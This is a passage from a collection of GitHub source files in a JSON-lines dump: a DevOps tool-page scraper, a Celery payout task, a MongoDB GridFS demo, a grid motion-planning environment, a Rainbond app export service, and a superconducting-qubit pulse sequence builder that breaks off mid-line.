= tool.p.get_text()\n            categories = []\n            for c_id, c_n in self.categories().items():\n                if c_id in tool_classes: categories.append(c_n)\n            #categories = [x for x, y in zip(self.categories().keys(), tool_classes) if y == x]\n            #print(\"name %s id %s link %s img %s\\nclass '%s'\\ntext '%s'\\n\" % (tool_name, tool_id, link, img, tool_classes, text))\n            h = {'name': tool_name, 'id': tool_id, 'class': tool_classes, 'link': link, 'img': img, 'text': text, 'category': categories, 'cat': slugify(categories[0]) }\n            d.append(h)\n\n        self.tool_list = d\n        return self.tool_list\n\n    def category(self, name):\n        \"\"\" Looks up the category of each tool and returns them as a list. \"\"\"\n        cat_list = [name]\n        if type(name) == type([]):\n            cat_list = name\n\n        cat_id_list = []\n        for type_id, c in self.categories().items():\n            for name in cat_list:\n                if name == c:\n                    cat_id_list.append(type_id)\n\n        tool_list = []\n        for tool in self.tools():\n            for cat_id in cat_id_list:\n                if cat_id in tool[\"class\"]:\n                    #print(\"tool %s\" % d[\"name\"])\n                    tool_list.append(tool)\n\n        return tool_list\n\ndef main():\n    page = ToolChest()\n\n    parser = options()\n    o = parser.parse_args()\n    if o.categories == None and o.categories_more == None and o.tools == None:\n        parser.print_help()\n        exit(1)\n\n    if o.categories != None:\n        if len(o.categories) > 0:\n            print(json.dumps( page.category(o.categories) ))\n        else:\n            print(json.dumps(page.categories()))\n\n    if o.categories_more != None:\n        if len(o.categories_more) > 0:\n            print(json.dumps( page.category(o.categories) ))\n        else:\n            print(json.dumps(page.categories_more()))\n\n    if o.tools != None:\n        print( json.dumps( page.tools() ) )\n\n    return(0)\n\ndef options():\n    parser = argparse.ArgumentParser(description='Decode the XebiaLabs DevOps tools page')\n    parser.add_argument('--categories', nargs='*', help='List all categories of tools, or all tools in a category')\n    parser.add_argument('--categories-more', nargs='*', help='List all categories of tools, or all tools in a category, in more detail')\n    parser.add_argument('--tools', nargs='*', help='List all the tools')\n    return parser\n\nif __name__ == \"__main__\":\n    main()\n\n","repo_name":"peterwwillis/devopsyoga-content","sub_path":"tools/tool_chest/tool_chest.py","file_name":"tool_chest.py","file_ext":"py","file_size_in_byte":5490,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"22"}
+{"seq_id":"8831437268","text":"from __future__ import absolute_import\n\nfrom mysite.celery_app import app\nfrom .classes import PayoutManager\nfrom django.core.cache import cache\n\nLOCK_EXPIRE = 300 # Lock expires in 5 minutes\nSHARED_LOCK_NAME = \"payout_task\"\n\n@app.task(bind=True)\ndef payout_task(self, contests=None):\n    lock_id = '%s-LOCK-payout[%s]'\n\n    acquire_lock = lambda: cache.add(lock_id, 'true', LOCK_EXPIRE)\n    release_lock = lambda: cache.delete(lock_id)\n\n    if acquire_lock():\n        try:\n            pm = PayoutManager()\n            pm.payout(contests)\n        finally:\n            release_lock()\n    else:\n        self.retry(countdown=1, max_retries=100)\n\n\n\n","repo_name":"nakamotohideyoshi/draftboard-web","sub_path":"contest/payout/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"35497148856","text":"from pymongo import MongoClient\nfrom pprint import pprint\nimport gridfs\nfrom bson import objectid\n\n\nclient = MongoClient(port=27017)\n\ndb = client.inventorydb\n\n\n\nfs = gridfs.GridFS(db)\n\npath_in = 'C:/Success_courses_300k_lifelight/mongodb-top4NOSQL/gridfs-demo/How-to-Save-a-Life-Study-Manual.pdf'\n\n\n\nwith open(path_in,'rb') as filein:\n    result = fs.put(filein, content_type='application/pdf', filename='How-to-Save-a-Life-Study-Manual.pdf')\n    pprint(result)\n\npath_in = 'C:/Success_courses_300k_lifelight/mongodb-top4NOSQL/gridfs-demo/languagenow_english.jpg'\npath_out = 'C:/Success_courses_300k_lifelight/mongodb-top4NOSQL/gridfs-demo/OUTPUT_languagenow_english.jpg'\n\n\nwith open(path_in,'rb') as filein:\n    result = fs.put(filein, filename='languagenow_english.jpg')\n    pprint(result)\n\nfile = fs.find_one({'filename': 'languagenow_english.jpg'})\nimage = file.read()\nwith  open(path_out,\"wb\") as output_file:\n    output_file.write(image)\n    output_file.close();\n\n\n\n","repo_name":"victorbertoldo/dadobipolar","sub_path":"MongoDB/python_mongo/GRIDFS_Demo.py","file_name":"GRIDFS_Demo.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72111842296","text":"# -*- coding: utf-8 -*-\n\nimport math\nimport numpy as np\nimport cv2\n\nfrom obstacleSpace import isInObstacleWs\n\nclass Environment:\n    def __init__(self, resolution, botRadius):\n        self.res = resolution\n        self.totalClearance = botRadius\n        self.startPt = [0.0, 0.0]\n        self.goalPt = [8.0,4.5]\n        self.MAP_X, self.MAP_Y = 11.1, 10.1\n        self.GRID_NX, self.GRID_NY = int(self.MAP_X/self.res), int(self.MAP_Y/self.res)\n        self.obstacleSet = self.getObstacleSet()\n        \n        self.obstacleMap = self.getObstacleMap()\n        \n        self.runningMap = np.copy(self.obstacleMap)\n        self.renderCounter = 0\n        \n    def getObstacleSet(self):\n        outputSet = set([])\n        # create the set using for loops\n        for p in range(0,int(self.MAP_X/self.res+1)):\n            for q in range(0,int(self.MAP_Y/self.res+1)):\n                if (isInObstacleWs((p+0.5)*self.res,(q+0.5)*self.res, self.totalClearance)):\n                    outputSet.add((p,q))\n        return outputSet\n    \n    def isPtInObs(self, x, y):\n        temp = self.getGridPt([x,y])\n        return temp in self.obstacleSet\n    \n    def isGridPtInObs(self, pt):\n        return pt in self.obstacleSet\n    \n    def getGridPt(self,pt):\n        return (math.floor(pt[0]/self.res), math.floor(pt[1]/self.res))\n    \n    def updateMap(self,display,pt,val):\n        # For Display\n        # set up color map for display\n        # 0 - empty, white\n        # 1 - startPt, red\n        # 2 - goalPt, green\n        # 3 - visited, yellow\n        # 4 - obstacle, black\n        # 5 - path, blue\n        red =0\n        green =0\n        blue =0\n        if val ==0:\n            red,green,blue = 255,255,255\n        elif val == 1:\n            red,green,blue = 255,0,0\n        elif val == 2:\n            red,green,blue = 0,255,0\n        elif val == 3:\n            red,green,blue = 255,255,0\n        elif val == 4:\n            red,green,blue = 0,0,0\n        elif val == 5:\n            red,green,blue = 0,0,255\n        else:\n            # to catch errors\n            red,green,blue = 255,0,255\n        display[pt[0],pt[1],0] = blue\n        display[pt[0],pt[1],1] = green\n        display[pt[0],pt[1],2] = red\n        return display\n    \n    def getObstacleMap(self):\n        # fill a np array image with obstacles for rendering\n        obsMap = 255 * np.ones((self.GRID_NX+1,self.GRID_NY+1,3))\n        \n        for obs in self.obstacleSet:\n            obsMap = self.updateMap(obsMap, obs, 4)\n        return obsMap\n    \n    def render(self):\n        self.runningMap = self.updateMap(self.runningMap,self.getGridPt(self.startPt),1)\n        self.runningMap = self.updateMap(self.runningMap,self.getGridPt(self.goalPt),2)\n        if self.renderCounter%60 == 0:\n            toDisplay = cv2.resize(self.runningMap,(self.GRID_NY * 1000 // self.GRID_NX,1000), interpolation = cv2.INTER_AREA)\n            cv2.imshow(\"\",np.rot90(toDisplay,1))\n            cv2.waitKey(1)\n        self.renderCounter+=1\n        \n    def setVisitedAndRender(self, pt):\n        self.runningMap = self.updateMap(self.runningMap,pt,3)\n        self.runningMap = self.updateMap(self.runningMap,self.getGridPt(self.goalPt),2)\n        if self.renderCounter%60 == 0:\n            toDisplay = cv2.resize(self.runningMap,(self.GRID_NY * 1000 // self.GRID_NX,1000), interpolation = cv2.INTER_AREA)\n            cv2.imshow(\"\",np.rot90(toDisplay,1))\n            cv2.waitKey(1)\n        self.renderCounter+=1\n        \n    def setPathAndRender(self, pt):\n        self.runningMap = self.updateMap(self.runningMap,pt,5)\n        self.runningMap = self.updateMap(self.runningMap,self.getGridPt(self.startPt),1)\n        self.runningMap = self.updateMap(self.runningMap,self.getGridPt(self.goalPt),2)\n        if self.renderCounter%2 == 0:\n            toDisplay = cv2.resize(self.runningMap,(self.GRID_NY * 1000 // self.GRID_NX,1000), interpolation = cv2.INTER_AREA)\n            cv2.imshow(\"\",np.rot90(toDisplay,1))\n            cv2.waitKey(1)\n        self.renderCounter+=1\n    \n    def reset(self):\n        # reset image to obstacle\n        self.runningMap = np.copy(self.obstacleMap)\n        self.renderCounter = 0\n        pass","repo_name":"amrish1222/motionPlanningAlgs","sub_path":"source/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33755161353","text":"import struct\n\nfd_out = open('bin_file', 'wb')\n\n#[2-byte ID][4-byte value]\n\nid = 0\nval = id\n\nfor i in range(50):\n    entry = struct.pack('<HI', id, val)\n    id += 1\n    val = id\n\n    fd_out.write(entry)\n    fd_out.flush()\n\nfd_out.close()\n","repo_name":"paulohq/cosine","sub_path":"gem_bin_file.py","file_name":"gem_bin_file.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13284258831","text":"# -*- coding: utf8 -*-\n\"\"\"\n  Created on 18/5/15.\n\"\"\"\nimport datetime\nimport json\nimport logging\nimport urllib2\n\nimport requests\n\nfrom console.repositories.group import group_repo\nfrom console.repositories.market_app_repo import app_export_record_repo\nfrom console.repositories.region_repo import region_repo\nfrom console.services.app_config.app_relation_service import AppServiceRelationService\nfrom www.apiclient.baseclient import client_auth_service\nfrom www.apiclient.marketclient import MarketOpenAPI\nfrom www.apiclient.regionapi import RegionInvokeApi\nfrom www.tenantservice.baseservice import BaseTenantService\nfrom www.utils.crypt import make_uuid\n\nlogger = logging.getLogger(\"default\")\nbaseService = BaseTenantService()\napp_relation_service = AppServiceRelationService()\nmarket_api = MarketOpenAPI()\nregion_api = RegionInvokeApi()\n\n\nclass AppExportService(object):\n    def create_export_repo(self, event_id, export_format, group_key, version):\n        export_record = app_export_record_repo.get_export_record_by_unique_key(group_key, version, export_format)\n        if export_record:\n            return 409, \"已存在改导出类型的文件\", None\n\n        if event_id is None:\n            event_id = make_uuid()\n        params = {\n            \"event_id\": event_id,\n            \"group_key\": group_key,\n            \"version\": version,\n            \"format\": export_format,\n            \"status\": \"exporting\"\n        }\n        new_export_record = app_export_record_repo.create_app_export_record(**params)\n        return 200, \"success\", new_export_record\n\n    def export_current_app(self, team, export_format, app):\n        event_id = make_uuid()\n        data = {\"event_id\": event_id, \"group_key\": app.group_key, \"version\": app.version, \"format\": export_format,\n                \"group_metadata\": app.app_template}\n        region = self.get_app_share_region(app)\n        if region is None:\n            return 404, '无法查找当前应用分享所在数据中心', None\n        region_api.export_app(region, team.tenant_name, data)\n        export_record = app_export_record_repo.get_export_record_by_unique_key(app.group_key, app.version,\n                                                                               export_format)\n        if export_record:\n            logger.debug(\"update export record !\")\n            export_record.event_id = event_id\n            export_record.status = \"exporting\"\n            export_record.update_time = datetime.datetime.now()\n            export_record.save()\n            new_export_record = export_record\n        else:\n            logger.debug(\"create export record !\")\n            code, msg, new_export_record = self.create_export_repo(event_id, export_format, app.group_key, app.version)\n            if code != 200:\n                return code, msg, None\n        return 200, \"success\", new_export_record\n\n    def get_app_share_region(self, app):\n        app_template = json.loads(app.app_template)\n        apps = app_template[\"apps\"]\n        first_app = apps[0]\n        if first_app:\n            region = first_app.get(\"service_region\", None)\n        else:\n            group = group_repo.get_group_by_id(app.tenant_service_group_id)\n            if group:\n                region = group.region_name\n            else:\n                return None\n        \n        if region:\n            region_config = region_repo.get_region_by_region_name(region)\n            if region_config:\n                return region\n            return None\n        else:\n            return None\n\n\n    def get_export_status(self, team, app):\n        app_export_records = app_export_record_repo.get_by_key_and_version(app.group_key, app.version)\n        rainbond_app_init_data = {\n            \"is_export_before\": False,\n        }\n        docker_compose_init_data = {\n            \"is_export_before\": False,\n        }\n\n        region = self.get_app_share_region(app)\n        if region is None:\n            return 404, '无法查找当前应用分享所在数据中心', None\n        if app_export_records:\n            for export_record in app_export_records:\n                if export_record.event_id and export_record.status == \"exporting\":\n                    try:\n                        res, body = region_api.get_app_export_status(region, team.tenant_name, export_record.event_id)\n                        result_bean = body[\"bean\"]\n                        if result_bean[\"status\"] in (\"failed\", \"success\"):\n                            export_record.status = result_bean[\"status\"]\n                        export_record.file_path = result_bean[\"tar_file_href\"]\n                        export_record.save()\n                    except Exception as e:\n                        logger.exception(e)\n\n                if export_record.format == \"rainbond-app\":\n                    rainbond_app_init_data.update({\n                        \"is_export_before\": True,\n                        \"status\": export_record.status,\n                        \"file_path\": self._wrapper_director_download_url(region, export_record.file_path.replace(\"/v2\",\"\"))\n                    })\n                if export_record.format == \"docker-compose\":\n                    docker_compose_init_data.update({\n                        \"is_export_before\": True,\n                        \"status\": export_record.status,\n                        \"file_path\": self._wrapper_director_download_url(region, export_record.file_path.replace(\"/v2\",\"\"))\n                    })\n\n        result = {\"rainbond_app\": rainbond_app_init_data, \"docker_compose\": docker_compose_init_data}\n        return 200, \"success\", result\n\n    def __get_down_url(self, region_name, raw_url):\n        region = region_repo.get_region_by_region_name(region_name)\n        if region:\n            return region.url + raw_url\n        else:\n            return raw_url\n\n    def _wrapper_director_download_url(self, region_name, raw_url):\n        region = region_repo.get_region_by_region_name(region_name)\n        if region:\n            splits_texts = region.url.split(\":\")\n            if len(splits_texts) > 2:\n                index = region.url.index(\":\", 6)\n                return region.url[:index] + \":6060\" + raw_url\n            else:\n                return region.url + \":6060\" + raw_url\n\n    def get_export_record(self, export_format, app):\n        return app_export_record_repo.get_export_record_by_unique_key(app.group_key, app.version,\n                                                                      export_format)\n\n    def get_export_record_status(self, app):\n        records = app_export_record_repo.get_by_key_and_version(app.group_key, app.version)\n        export_status = \"other\"\n        # 有一个成功即成功，全部失败为失败，全部为导出中则显示导出中\n        if not records:\n            return \"unexported\"\n        failed = True\n\n        for record in records:\n            if record.status == \"success\":\n                return \"success\"\n            if record.status != \"failed\":\n                failed = False\n        if failed:\n            return \"failed\"\n        else:\n            return \"exporting\"\n\n    def get_file_down_req(self, export_format, tenant_name, app):\n        export_record = app_export_record_repo.get_export_record_by_unique_key(app.group_key, app.version,\n                                                                               export_format)\n        region = self.get_app_share_region(app)\n\n        download_url = self.__get_down_url(region, export_record.file_path)\n        file_name = export_record.file_path.split(\"/\")[-1]\n        url, token = client_auth_service.get_region_access_token_by_tenant(\n            tenant_name, region)\n        if not token:\n            region_info = region_repo.get_region_by_region_name(region)\n            if region_info:\n                token = region_info.token\n\n        req = urllib2.Request(download_url)\n        if token:\n            req.add_header(\"Authorization\", \"Token {}\".format(token))\n\n        return req, file_name\n\n\nexport_service = AppExportService()\n","repo_name":"sunshine2995/console","sub_path":"console/services/app_import_and_export_service.py","file_name":"app_import_and_export_service.py","file_ext":"py","file_size_in_byte":8017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"27147235614","text":"__author__ = 'Nelson'\n\nfrom slab.instruments.awg.PulseSequence import *\nfrom numpy import arange, linspace, array\nfrom slab.experiments.Alex.ExpLib.PulseSequenceBuilder import *\nimport time\nimport visdom\nfrom liveplot import LivePlotClient\n\nclass QubitPulseSequence(PulseSequence):\n    '''\n    Parent class for all the single qubit pulse sequences.\n    '''\n    def __init__(self, name, cfg, expt_cfg, define_points, define_parameters, define_pulses, **kwargs):\n\n        self.expt_cfg = expt_cfg\n        self.cfg = cfg\n        define_points()\n        define_parameters()\n        sequence_length = len(self.expt_pts)\n\n        # if \"multimode\" not in name.lower():\n        #     cfg['awgs'][1]['upload'] = False\n        # else:\n        #     cfg['awgs'][1]['upload'] = True\n        calibration_pts = []\n\n        if (expt_cfg['use_g-e-f_calibration']):\n            calibration_pts = list(range(3))\n            sequence_length+=3\n        elif (expt_cfg['use_pi_calibration']):\n            calibration_pts = list(range(2))\n            sequence_length+=2\n        print('calibration_pts =', calibration_pts)\n\n        PulseSequence.__init__(self, name, cfg['awgs'], sequence_length)\n\n        self.psb = PulseSequenceBuilder(cfg)\n        self.pulse_sequence_matrix = []\n        self.total_pulse_span_length_list = []\n        self.total_flux_pulse_span_length_list = []\n        self.flux_pulse_span_list = []\n\n        for ii, pt in enumerate(self.expt_pts):\n            # obtain pulse sequence for each experiment point\n            define_pulses(pt)\n\n            self.pulse_sequence_matrix.append(self.psb.get_pulse_sequence())\n            self.total_pulse_span_length_list.append(self.psb.get_total_pulse_span_length())\n            self.total_flux_pulse_span_length_list.append(self.psb.get_total_flux_pulse_span_length())\n\n        if len(calibration_pts) > 0:\n\n            for jj, pt in enumerate(calibration_pts):\n\n                if self.name == 'rabi_thermalizer':\n                    define_pulses(jj+len(self.expt_pts))\n\n                else:\n                    if jj ==0:\n                        self.psb.idle(10)\n                    if jj ==1:\n                        self.psb.append('q','cal_pi', self.pulse_type)\n                    if jj ==2:\n                        self.psb.append('q','cal_pi', self.pulse_type)\n                        self.psb.append('q', 'pi_q_ef', self.pulse_type)\n\n                self.pulse_sequence_matrix.append(self.psb.get_pulse_sequence())\n                self.total_pulse_span_length_list.append(self.psb.get_total_pulse_span_length())\n                self.total_flux_pulse_span_length_list.append(self.psb.get_total_flux_pulse_span_length())\n\n        print('total_pulse_span_length_list', self.total_pulse_span_length_list)\n\n        max_length = self.psb.get_max_length(self.total_pulse_span_length_list)\n        max_flux_length = self.psb.get_max_flux_length(self.total_flux_pulse_span_length_list)\n        self.set_all_lengths(max_length)\n\n        ###\n\n        # flux pulse\n        temp_seq_matrix = self.pulse_sequence_matrix[:]\n        self.pulse_sequence_matrix = []\n        # clears\n        dummy = self.psb.get_total_pulse_span_length()\n        dummy = self.psb.get_total_flux_pulse_span_length()\n\n        flux_max_area_list = np.zeros(8)\n        flux_max_power_list = np.zeros(8)\n        for ii in range(len(self.expt_pts) + len(calibration_pts)):\n\n            if self.name == 'rabi_thermalizer' or self.name == 'histogram_rabi_thermalizer':\n\n               # print 'add rabi_thermalizer flux pulse'\n                flux_total_span, flux_area_list, flux_power_list = define_pulses(ii, isFlux = True)\n\n                flux_max_area_list = np.where(np.abs(flux_max_area_list) >= np.abs(flux_area_list), flux_max_area_list, flux_area_list)\n                flux_max_power_list = np.where(flux_max_power_list >= flux_power_list, flux_max_power_list, flux_power_list)\n                # flux_total_span = self.psb.get_total_pulse_span_length() # also clears\n\n            # 0426 hack for ramsey fast flux scope, ignore cal pts\n            # elif self.name == 'ramsey':\n            #     flux_total_span = self.add_flux_pulses_hack(idx=ii, pulse_span_length = self.total_pulse_span_length_list[ii])\n\n            else:\n                flux_total_span = self.add_flux_pulses(pulse_span_length = self.total_pulse_span_length_list[ii])\n            temp_seqs = self.psb.get_pulse_sequence() # also clears seq\n\n            self.flux_pulse_span_list.append(flux_total_span)\n            dummy = self.psb.get_total_flux_pulse_span_length()\n\n            #print 'flux_pulse_span_list', self.flux_pulse_span_list\n\n            self.pulse_sequence_matrix.append(temp_seq_matrix[ii] + temp_seqs)  # concatenate hetero/flux pulse\n\n        max_flux_length = round_samples( max(self.flux_pulse_span_list)+ 2 * self.psb.start_end_buffer)\n        self.set_all_lengths(max(max_flux_length,max_length))\n\n        print('max length =', max_length, 'ns')\n        print('max flux length =', max_flux_length, 'ns')\n        if max(max_flux_length,max_length) >= self.cfg[\"expt_trigger\"][\"period_ns\"]:\n            print('Error!! Max sequence length larger than Exp period! ')\n        print('flux_max_area_list = [', ', '.join(map(str, flux_max_area_list)), ']')\n        print('flux_max_power_list = [', ', '.join(map(str, flux_max_power_list)), ']')\n\n        # import csv\n        # with open(r'C:\\slab_data_temp\\fast_flux_kernels\\flux_max_area.csv', 'a') as csvfile:\n        #     ww = csv.writer(csvfile, delimiter=',')\n        #     ww.writerow(map(str, flux_max_area_list))\n        #     csvfile.close()\n        #\n        # with open(r'C:\\slab_data_temp\\fast_flux_kernels\\flux_max_power.csv', 'a') as csvfile:\n        #     ww = csv.writer(csvfile, delimiter=',')\n        #     ww.writerow(map(str, flux_max_power_list))\n        #     csvfile.close()\n\n        ###\n\n        ###\n        # heterodyne pulse - hack: max_length = 0\n        if (self.name == 'vacuum_rabi') or (self.name[0:9] == 'histogram') :\n            # vacuum_rabi : heterodyne pulses in SingleQubitPulseSeq\n            #print 'skip adding heterodyne pulse in QubitPulseSeq'\n            pass\n\n        else:\n            temp_seq_matrix = self.pulse_sequence_matrix[:]\n            self.pulse_sequence_matrix = []\n            self.add_heterodyne_pulses()\n            #self.add_flux_pulses(length=500)\n            temp_seqs = self.psb.get_pulse_sequence()\n\n            # clears\n            dummy = self.psb.get_total_pulse_span_length()\n            dummy = self.psb.get_total_flux_pulse_span_length()\n\n            for ii in range(len(self.expt_pts)+len(calibration_pts)):\n                self.pulse_sequence_matrix.append(temp_seq_matrix[ii] + temp_seqs) # concatenate hetero/flux pulse\n        ###\n\n\n    def add_flux_pulses(self, pulse_span_length):\n\n        #print pulse_span_length\n\n        # this is to align flux pulse to readout? (diff in 2 pxdac cards)\n        hw_delay = self.cfg['flux_pulse_info']['pxdac_hw_delay']\n\n        if self.cfg['flux_pulse_info']['on_during_drive'] and self.cfg['flux_pulse_info']['on_during_readout']:\n\n            flux_width = max(pulse_span_length + self.cfg['readout']['delay'] + self.cfg['readout']['width'] \\\n                             - self.cfg['flux_pulse_info']['flux_drive_delay'], 0)\n            flux_comp_width = flux_width  # self.cfg['flux_pulse_info']['dc_comp_pulse_length']\n            flux_delay = self.cfg['flux_pulse_info']['flux_drive_delay'] + hw_delay\n            flux_idle = 100.0\n\n        elif (self.cfg['flux_pulse_info']['on_during_drive']) and (\n                not self.cfg['flux_pulse_info']['on_during_readout']):\n\n            flux_width = max(pulse_span_length - self.cfg['flux_pulse_info']['flux_drive_delay'], 0)\n            flux_comp_width = flux_width  # self.cfg['flux_pulse_info']['dc_comp_pulse_length']\n            flux_delay = self.cfg['flux_pulse_info']['flux_drive_delay'] + hw_delay\n            flux_idle = self.cfg['readout']['delay'] + self.cfg['readout']['width'] + 100\n\n        elif (not self.cfg['flux_pulse_info']['on_during_drive']) and (\n        self.cfg['flux_pulse_info']['on_during_readout']):\n\n            flux_width = self.cfg['readout']['delay'] + self.cfg['readout']['width']\n            flux_comp_width = flux_width  # self.cfg['flux_pulse_info']['dc_comp_pulse_length']\n            flux_delay = hw_delay + pulse_span_length\n            flux_idle = 100.0\n\n        else:\n            flux_width = 0\n            flux_comp_width = 0\n            flux_delay = 0\n            flux_idle = 0\n\n        flux_a = self.cfg['flux_pulse_info']['flux_a']\n        flux_freq = self.cfg['flux_pulse_info']['flux_freq']\n\n        flux_mod_freq = self.cfg['flux_pulse_info']['flux_mod_freq']\n        flux_mod_a = self.cfg['flux_pulse_info']['flux_mod_a']\n\n        #print 'desired flux_width= ', flux_width, ', delay=', flux_delay\n\n        flux_total_span_list = []\n        for ii in range(8):\n\n            flux_comp_a = - flux_a[ii]  # flux_area/float(flux_comp_width)\n\n            if flux_width > 0:\n                self.psb.append('flux_'+str(ii), 'general', 'square', amp=flux_a[ii],\n                            length = flux_width, freq = flux_freq[ii],\n                            delay = flux_delay)\n\n                # # hard rise/end for now\n                # self.psb.append('flux_'+str(ii), 'general', 'linear_ramp_with_mod', start_amp=flux_a[ii],\n                #                 stop_amp=flux_a[ii], length=flux_width, \\\n                #                 mod_amp=flux_mod_a[ii], mod_freq=flux_mod_freq[ii], mod_start_phase=0.0, delay = flux_delay)\n\n            if flux_comp_width > 0:\n                self.psb.append('flux_' + str(ii), 'general', 'square', amp=flux_comp_a,\n                            length = flux_comp_width, freq = flux_freq[ii],\n                            delay = flux_delay + flux_idle)\n\n            # also clears\n            flux_total_span_list.append(self.psb.get_total_pulse_span_length())\n\n        return max(flux_total_span_list)\n\n    def add_flux_pulses_hack(self, idx, pulse_span_length):\n\n        # only for ramsey fast flux scope\n\n        if idx >= len(self.expt_pts):\n            # cal pts\n            return 0.0\n\n        else:\n            # this is to align flux pulse to readout? (diff in 2 pxdac cards)\n            hw_delay = self.cfg['flux_pulse_info']['pxdac_hw_delay']\n\n            flux_width = self.expt_cfg['flux_width']\n            flux_comp_width = flux_width\n\n            self.cfg['pulse_info']['square']['ramp_sigma'] = 0.0\n\n            gap = 50\n            flux_delay = self.cfg['pulse_info']['gauss']['half_pi_length']*4 + gap + hw_delay\n            flux_idle = (pulse_span_length - flux_delay - flux_width) \\\n                        + self.cfg['readout']['delay'] + self.cfg['readout']['width'] + 100\n\n            flux_a = self.cfg['flux_pulse_info']['flux_a']\n            flux_freq = self.cfg['flux_pulse_info']['flux_freq']\n            flux_mod_freq = self.cfg['flux_pulse_info']['flux_mod_freq']\n            flux_mod_a = self.cfg['flux_pulse_info']['flux_mod_a']\n\n            flux_total_span_list = []\n            for ii in range(8):\n\n                flux_comp_a = - flux_a[ii]  # flux_area/float(flux_comp_width)\n\n                if flux_width > 0:\n                    self.psb.append('flux_'+str(ii), 'general', 'square', amp=flux_a[ii],\n                                length = flux_width, freq = flux_freq[ii],\n                                delay = flux_delay)\n\n                if flux_comp_width > 0:\n                    self.psb.append('flux_' + str(ii), 'general', 'square', amp=flux_comp_a,\n                                length = flux_comp_width, freq = flux_freq[ii],\n                                delay = flux_delay + flux_idle)\n\n                # also clears\n                flux_total_span_list.append(self.psb.get_total_pulse_span_length())\n\n            return max(flux_total_span_list)\n\n    def add_heterodyne_pulses(self, hetero_read_freq = None, hetero_a = None):\n\n        # todo: seems to have bug here? not the same w/ or w/o hetero_read_freq & hetero_a\n        # print hetero_read_freq\n        if hetero_read_freq is not None:\n\n            het_carrier_freq = hetero_read_freq - self.cfg['readout']['heterodyne_freq']\n            het_read_freq_list = array([hetero_read_freq])\n            if hetero_a is None:\n                het_a_list = array([self.cfg['readout']['heterodyne_a']])\n            else:\n                het_a_list = array([hetero_a])\n            het_IFreqList = het_read_freq_list - het_carrier_freq\n\n        else:\n            if self.cfg['readout']['is_multitone_heterodyne']:\n                het_carrier_freq = self.cfg['readout']['heterodyne_carrier_freq']\n                het_read_freq_list = array(self.cfg['readout']['heterodyne_freq_list'])\n                het_a_list = array(self.cfg['readout']['heterodyne_a_list'])\n                het_IFreqList = het_read_freq_list - het_carrier_freq\n            else:\n                het_carrier_freq = self.cfg['readout']['frequency'] - self.cfg['readout']['heterodyne_freq']\n                het_read_freq_list = array([self.cfg['readout']['frequency']])\n                het_a_list = array([self.cfg['readout']['heterodyne_a']])\n                het_IFreqList = het_read_freq_list - het_carrier_freq\n\n        # print('het_carrier_freq', het_carrier_freq)\n        # print('het_read_freq_list', het_read_freq_list)\n        # print('het_a_list', het_a_list)\n        # print('het_IFreqList', het_IFreqList)\n\n        het_phase_list = [(self.cfg['readout']['start_phase'] + self.cfg['readout']['phase_slope'] * ii )%360\n                          for ii in het_read_freq_list]\n        # het_phase_list = [0.0 for ii in het_IFreqList]\n\n        if sum(het_a_list) > 1:\n            print('Warning! Sum of heterodyne amplitudes > 1 in QubitPulseSequence.')\n\n        if not self.cfg['readout']['is_fast_awg']:\n\n            for ii in range(len(het_IFreqList)):\n                # q2 pulses are hacked to be fixed in time, so can append multiple pulses for heterodyne readout\n                self.psb.append('hetero', 'general', 'square', amp= het_a_list[ii],\n                                length=self.cfg['readout']['width'],\n                                freq= het_IFreqList[ii],\n                                phase=het_phase_list[ii],\n                                delay=self.cfg['readout']['width']/2.0 + self.cfg['readout']['delay'])\n        else:\n\n            # heterodyne carrier - LO\n            self.psb.append('hetero_carrier', 'general', 'square', amp=self.cfg['readout']['hetero_carrier_a'],\n                            length=self.cfg['readout']['width'],\n                            freq=het_carrier_freq,\n                            delay=self.cfg['readout']['width'] / 2.0 + self.cfg['readout']['delay'])\n            if self.cfg['readout']['is_hetero_phase_ref']:\n                # hetero phase reference to solve alazar jitter\n                self.psb.append('hetero_carrier', 'general', 'square', amp=self.cfg['readout']['hetero_phase_ref_a'],\n                                length=self.cfg['readout']['width'],\n                                freq=self.cfg['readout']['hetero_phase_ref_freq'],\n                                delay=self.cfg['readout']['width'] / 2.0 + self.cfg['readout']['delay'])\n            # fast awg: read_freq\n            for ii in range(len(het_IFreqList)):\n                # pulses are hacked to be fixed in time, so can append multiple pulses for heterodyne readout\n                self.psb.append('hetero', 'general', 'square', amp= het_a_list[ii],\n                                length=self.cfg['readout']['width'],\n                                freq=het_read_freq_list[ii],\n                                phase=het_phase_list[ii],\n                                delay=self.cfg['readout']['width'] / 2.0 + self.cfg['readout']['delay'])\n\n    def build_sequence(self):\n\n        PulseSequence.build_sequence(self)\n\n        self.waveforms_dict = {}\n        self.waveforms_tpts_dict = {}\n\n        for awg in self.awg_info:\n            for waveform in awg['waveforms']:\n                self.waveforms_dict[waveform['name']] = self.waveforms[waveform['name']]\n                self.waveforms_tpts_dict[waveform['name']] = self.get_waveform_times(waveform['name'])\n\n        start_time = time.time()\n        print('\\nStart building sequences...(QubitPulseSequence.py)')\n\n        self.psb.prepare_build(self.waveforms_tpts_dict,self.waveforms_dict)\n\n        generated_sequences = self.psb.build(self.pulse_sequence_matrix,self.total_flux_pulse_span_length_list)\n        self.waveforms_dict = generated_sequences\n\n        for waveform_key in self.waveforms_dict:\n            self.waveforms[waveform_key] = self.waveforms_dict[waveform_key]\n\n        end_time = time.time()\n        print('Finished building sequences in', end_time - start_time, 'seconds.\\n')\n\n        # np.save('S:\\\\_Data\\\\160711 - Nb Tunable Coupler\\\\data\\\\waveform.npy',self.waveforms['qubit drive Q'])\n        ### in ipython notebook: call np.load('file_path/file_name.npy')\n\n        if self.cfg[\"visdom_plot_seq\"]:\n\n            print('Plotting sequences in Visdom...')\n            print('Plot seq list (cfg):', self.cfg[\"visdom_plot_seq_list\"])\n\n            viz = visdom.Visdom()\n            assert viz.check_connection(), 